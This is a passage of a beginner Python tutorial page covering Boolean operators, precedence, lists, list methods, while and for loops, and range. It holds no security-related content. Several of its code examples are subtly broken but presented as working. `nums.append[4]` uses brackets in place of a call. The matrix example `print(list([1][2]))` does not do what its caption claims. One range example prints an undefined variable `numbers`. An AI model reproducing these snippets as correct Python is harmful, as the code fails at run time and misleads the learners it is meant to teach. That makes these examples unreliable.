</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">!= </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">&lt; </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>Besides values, you can also compare variables.</p> +</blockquote> +<p>Unlike other operators we’ve seen so far, <code>not</code> only takes one argument, and inverts it. The result of not True is False, and not False goes to True</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#fe8019;">not </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#fe8019;">not </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>You can chain multiple conditional statements in an if statement using the Boolean operators.</p> +</blockquote> +<h2 id="operator-precedence">Operator Precedence</h2> +<p>Operator precedence is a very important concept in programming. It is an extension of the mathematical idea of order of operations (multiplication being performed before addition, etc.) to include other operators, such as those in Boolean logic.</p> +<p>The below code shows that == has a higher precedence than or</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">True</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">== </span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">True</span><span style="color:#fdf4c1;">)) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">((</span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">False</span><span style="color:#fdf4c1;">) </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">True</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>Python’s order of operations is the same as that of normal mathematics: parentheses first, then exponentiation, then multiplication/division, and then addition/subtraction.</p> +</blockquote> +<h2 id="chaining-multiple-conditions">Chaining Multiple Conditions</h2> +<p>You can chain multiple conditional statements in an if statement using the Boolean operators.</p> +<p>For example, we can check if the value of a grade is between 70 and 100:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>grade </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">88 +</span><span style="color:#fa5c4b;">if </span><span>(grade </span><span style="color:#fe8019;">&gt;= </span><span style="color:#d3869b;">70 </span><span style="color:#fe8019;">and </span><span>grade </span><span style="color:#fe8019;">&lt;= </span><span style="color:#d3869b;">100</span><span>): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Passed!&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>You can use multiple and, or, not operators to chain multiple conditions together.</p> +</blockquote> +<h2 id="lists">Lists</h2> +<p>Lists are used to store items. A list is created using square brackets with commas separating items.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;Hello&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;world&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;!&quot;</span><span>] +</span></code></pre> +<p>In the example above the words list contains three string items.</p> +<p>A certain item in the list can be accessed by using its index in square brackets.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;Hello&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;world&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;!&quot;</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(words[</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(words[</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(words[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>The first list item’s index is 0, rather than 1, as might be expected.</p> +</blockquote> +<p>Sometimes you need to create an empty list and populate it later during the program. For example, if you are creating a queue management program, the queue is going to be empty in the beginning and get populated with people data later.</p> +<p>An empty list is created with an empty pair of square brackets.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>empty_list </span><span style="color:#fe8019;">= </span><span>[] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(empty_list) +</span></code></pre> +<blockquote> +<p>In some code samples you might see a comma after the last item in the list. It’s not mandatory, but perfectly valid.</p> +</blockquote> +<p>Typically, a list will contain items of a single item type, but it is also possible to include several different types. Lists can also be nested within other lists.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>number </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3 +</span><span>things </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;string&quot;</span><span>, </span><span style="color:#d3869b;">0</span><span>, [</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, number], </span><span style="color:#d3869b;">4.56</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(things[</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(things[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(things[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">][</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>Nested lists can be used to represent 2D grids, such as matrices. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>m </span><span style="color:#fe8019;">= </span><span>[[</span><span style="color:#d3869b;">0</span><span>,</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>],[</span><span style="color:#d3869b;">4</span><span>,</span><span style="color:#d3869b;">5</span><span>,</span><span style="color:#d3869b;">6</span><span>]] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">([</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">][</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>A matrix-like structure can be used in cases where you need to store data in row-column format. For example, when creating a ticketing program, the seat numbers can be stored in a matrix, with their corresponding rows and numbers. </p> +<blockquote> +<p>The code above outputs the 3rd item of the 2nd row.</p> +</blockquote> +<p>Some types, such as strings, can be indexed like lists. Indexing strings behaves as though you are indexing a list containing each character in the string.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>string </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;Hello world&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(string[</span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>Space (” “) is also a symbol and has an index.</p> +<blockquote> +<p>Trying to access a non existing index will lead to an error.</p> +</blockquote> +<h2 id="list-operations">List Operations</h2> +<p>The item at a certain index in a list can be reassigned. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">list </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>,</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>,</span><span style="color:#d3869b;">3</span><span>,</span><span style="color:#d3869b;">4</span><span>] +</span><span style="color:#fabd2f;">list</span><span>[</span><span style="color:#d3869b;">2</span><span>] </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">5 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>You can replace the item with an item of a different type.</p> +</blockquote> +<p>Lists can be added and multiplied in the same way as strings. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>,</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums </span><span style="color:#fe8019;">+ </span><span style="color:#fdf4c1;">[</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums</span><span style="color:#fe8019;">*</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>Lists and strings are similar in many ways - strings can be thought of as lists of characters that can’t be changed.</p> +<blockquote> +<p>For example, the string “Hello” can be thought of as a list, where each character is an item in the list. The first item is “H”, the second item is “e”, and so on.</p> +</blockquote> +<p>To check if an item is in a list, the in operator can be used. It returns True if the item occurs one or more times in the list, and False if it doesn’t.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;egg&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;spam&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;sausage&quot;</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot; </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">words) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;egg&quot; </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">words) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;tomato&quot; </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">words) +</span></code></pre> +<blockquote> +<p>The in operator is also used to determine whether or not a string is a substring of another string.</p> +</blockquote> +<p>To check if an item is not in a list, you can use the not operator in one of the following ways:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fe8019;">not </span><span style="color:#d3869b;">4 </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">4 </span><span style="color:#fe8019;">not in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fe8019;">not </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">not in </span><span style="color:#fdf4c1;">nums) +</span></code></pre> +<h2 id="list-functions">List Functions</h2> +<p>The append method adds an item to the end of an existing list. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>,</span><span style="color:#d3869b;">3</span><span>] +</span><span>nums.append[</span><span style="color:#d3869b;">4</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums) +</span></code></pre> +<blockquote> +<p>The dot before append is there because it is a method of the list class. Methods will be explained in later.</p> +</blockquote> +<p>To get the number of items in a list, you can use the len function.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">list </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>,</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>,</span><span style="color:#d3869b;">3</span><span>,</span><span style="color:#d3869b;">4</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">len</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<p>Unlike the index of the items, len does not start with 0. So, the list above contains 5 items, meaning len will return 5.</p> +<blockquote> +<p><code>len</code> is written before the list it is being called on, without a dot.</p> +</blockquote> +<p>The insert method is similar to append, except that it allows you to insert a new item at any position in the list, as opposed to just at the end.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;Python&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;fun&quot;</span><span>] +</span><span>index </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">1 +</span><span style="color:#fdf4c1;">words.insert(index, </span><span style="color:#b8bb26;">&quot;is&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(words) +</span></code></pre> +<blockquote> +<p>Elements, that are after the inserted item, are shifted to the right.</p> +</blockquote> +<p>The index method finds the first occurrence of a list item and returns its index. If the item isn’t in the list, it raises a ValueError.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>letters </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&#39;p&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;q&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;r&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;s&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;p&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;u&#39;</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(letters.index(</span><span style="color:#b8bb26;">&#39;r&#39;</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(letters.index(</span><span style="color:#b8bb26;">&#39;p&#39;</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(letters.index(</span><span style="color:#b8bb26;">&#39;z&#39;</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<p>There are a few more useful functions and methods for lists.</p> +<p><code>max(list)</code>: Returns the list item with the maximum value</p> +<p><code>min(list)</code>: Returns the list item with minimum value</p> +<p><code>list.count(item)</code>: Returns a count of how many times an item occurs in a list.</p> +<p><code>list.remove(item)</code>: Removes an object from a list</p> +<p><code>list.reverse()</code>: Reverses items in a list.</p> +<blockquote> +<p>For example, you can count how many 42s are there in the list using: items.count(42) where items is the name of our list.</p> +</blockquote> +<h2 id="while-loops">While Loops</h2> +<p>A while loop is used to repeat a block of code multiple times. For example, let’s say we need to process multiple user inputs, so that each time the user inputs something, the same block of code needs to execute.</p> +<p>Below is a while loop containing a variable that counts up from 1 to 5, at which point the loop terminates.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>i </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">1 +</span><span style="color:#fa5c4b;">while </span><span>i </span><span style="color:#fe8019;">&lt;=</span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span><span> i </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Finished!&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>During each loop iteration, the i variable will get incremented by one, until it reaches 5. So, the loop will execute the print statement 5 times.</p> +<blockquote> +<p>The code in the body of a while loop is executed repeatedly. This is called iteration.</p> +</blockquote> +<p>You can use multiple statements in the while loop.</p> +<p>For example, you can use an if statement to make decisions. This can be useful, if you are making a game and need to loop through a number of player actions and add or remove points of the player.</p> +<p>The code below uses an if/else statement inside a while loop to separate the even and odd numbers in the range of 1 to 10:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">1 +</span><span style="color:#fa5c4b;">while </span><span>x </span><span style="color:#fe8019;">&lt;= </span><span style="color:#d3869b;">10</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if </span><span>x</span><span style="color:#fe8019;">%</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">0</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">str</span><span style="color:#fdf4c1;">(x) </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&quot;is even&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">str</span><span style="color:#fdf4c1;">(x) </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&quot;is odd&quot;</span><span style="color:#fdf4c1;">) +</span><span> x </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span></code></pre> +<p><code>str(x)</code> is used to convert the number x to a string, so that it can be used for concatenation.</p> +<blockquote> +<p>In console, you can stop the program’s execution by using the Ctrl-C shortcut or by closing the program.</p> +</blockquote> +<p><code>break</code></p> +<p>To end a while loop prematurely, the break statement can be used. For example, we can break an infinite loop if some condition is met:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>i </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">0 +</span><span style="color:#fa5c4b;">while </span><span style="color:#d3869b;">1</span><span style="color:#fe8019;">==</span><span style="color:#d3869b;">1</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span><span> i </span><span style="color:#fe8019;">= </span><span>i </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">1 +</span><span> </span><span style="color:#fa5c4b;">if </span><span>i </span><span style="color:#fe8019;">&gt;= </span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Breaking&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">break +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Finished&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>while True is a short and easy way to make an infinite loop.</p> +<p>An example use case of break: An infinite while loop can be used to continuously take user input. For example, you are making a calculator and need to take numbers from the user to add and stop, when the user enters “stop”. In this case, the break statement can be used to end the infinite loop when the user input equals “stop”.</p> +<blockquote> +<p>Using the break statement outside of a loop causes an error.</p> +</blockquote> +<p><code>continue</code></p> +<p>Another statement that can be used within loops is continue. Unlike break, continue jumps back to the top of the loop, rather than stopping it. Basically, the continue statement stops the current iteration and continues with the next one.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>i </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">0 +</span><span style="color:#fa5c4b;">while </span><span>i</span><span style="color:#fe8019;">&lt;</span><span style="color:#d3869b;">5</span><span>: +</span><span> i </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span><span> </span><span style="color:#fa5c4b;">if </span><span>i</span><span style="color:#fe8019;">==</span><span style="color:#d3869b;">3</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Skipping 3&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">continue +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span></code></pre> +<p>An example use case of continue: An airline ticketing system needs to calculate the total cost for all tickets purchased. The tickets for children under the age of 1 are free. We can use a while loop to iterate through the list of passengers and calculate the total cost of their tickets. Here, the continue statement can be used to skip the children.</p> +<blockquote> +<p>Using the continue statement outside of a loop causes an error.</p> +</blockquote> +<h2 id="for-loop">for Loop</h2> +<p>The for loop is used to iterate over a given sequence, such as lists or strings.</p> +<p>The code below outputs each item in the list and adds an exclamation mark at the end:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&#39;hello&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;world&#39;</span><span>] +</span><span style="color:#fa5c4b;">for </span><span>word </span><span style="color:#fa5c4b;">in </span><span>words: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(word </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&#39;!&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>In the code above, the word variable represents the corresponding item of the list in each iteration of the loop. During the 1st iteration, word is equal to “hello”, and during the 2nd iteration it’s equal to “world”.</p> +</blockquote> +<p>The for loop can be used to iterate over strings.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">str </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;testing for loops&quot; +</span><span>count </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">0 +</span><span style="color:#fa5c4b;">for </span><span>x </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">str</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if</span><span>(x </span><span style="color:#fe8019;">== </span><span style="color:#b8bb26;">&#39;t&#39;</span><span>): +</span><span> count </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(count) +</span></code></pre> +<p>The code above defines a count variable, iterates over the string and calculates the count of ‘t’ letters in it. During each iteration, the x variable represents the current letter of the string. The count variable is incremented each time the letter ‘t’ is found, thus, at the end of the loop it represents the number of ‘t’ letters in the string. &gt;Similar to while loops, the break and continue statements can be used in for loops, to stop the loop or jump to the next iteration. +for vs while</p> +<p>Both, for and while loops can be used to execute a block of code for multiple times.</p> +<p>It is common to use the for loop when the number of iterations is fixed. For example, iterating over a fixed list of items in a shopping list.</p> +<p>The while loop is used in cases when the number of iterations is not known and depends on some calculations and conditions in the code block of the loop. For example, ending the loop when the user enters a specific input in a calculator program.</p> +<blockquote> +<p>Both, for and while loops can be used to achieve the same results, however, the for loop has cleaner and shorter syntax, making it a better choice in most cases.</p> +</blockquote> +<h3 id="range">Range</h3> +<p>The <code>range()</code> function returns a sequence of numbers. By default, it starts from 0, increments by 1 and stops before the specified number.</p> +<p>The code below generates a list containing all of the integers, up to 10.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums) +</span></code></pre> +<blockquote> +<p>In order to output the range as a list, we need to explicitly convert it to a list, using the list() function.</p> +</blockquote> +<p>If range is called with one argument, it produces an object with values from 0 to that argument. If it is called with two arguments, it produces values from the first to the second. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(numbers) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">) </span><span style="color:#fe8019;">== </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<blockquote> +<p>Remember, the second argument is not included in the range, so range(3, 8) will not include the number 8.</p> +</blockquote> +<p>range can have a third argument, which determines the interval of the sequence produced, also called the step.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>numbers </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(numbers) +</span></code></pre> +<blockquote> +<p>We can also create list of decreasing numbers, using a negative number as the third argument, for example list(range(20, 5, -2)).</p> +</blockquote> +<h2 id="for-loops">for Loops</h2> +<p>The for loop is commonly used to repeat some code a certain number of times. This is done by combining for loops with range objects.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">)</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;hello world!&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>You don’t need to call list on the range object when it is used in a for loop, because it isn’t being indexed, so a list isn’t required.</p> +</blockquote> +<h2 id="functions">Functions</h2> +<p>You’ve already used functions previously. Any statement that consists of a word followed by information in parentheses is a function call. Here are some examples that you’ve already seen:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Hello world&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">str</span><span style="color:#fdf4c1;">(</span><span 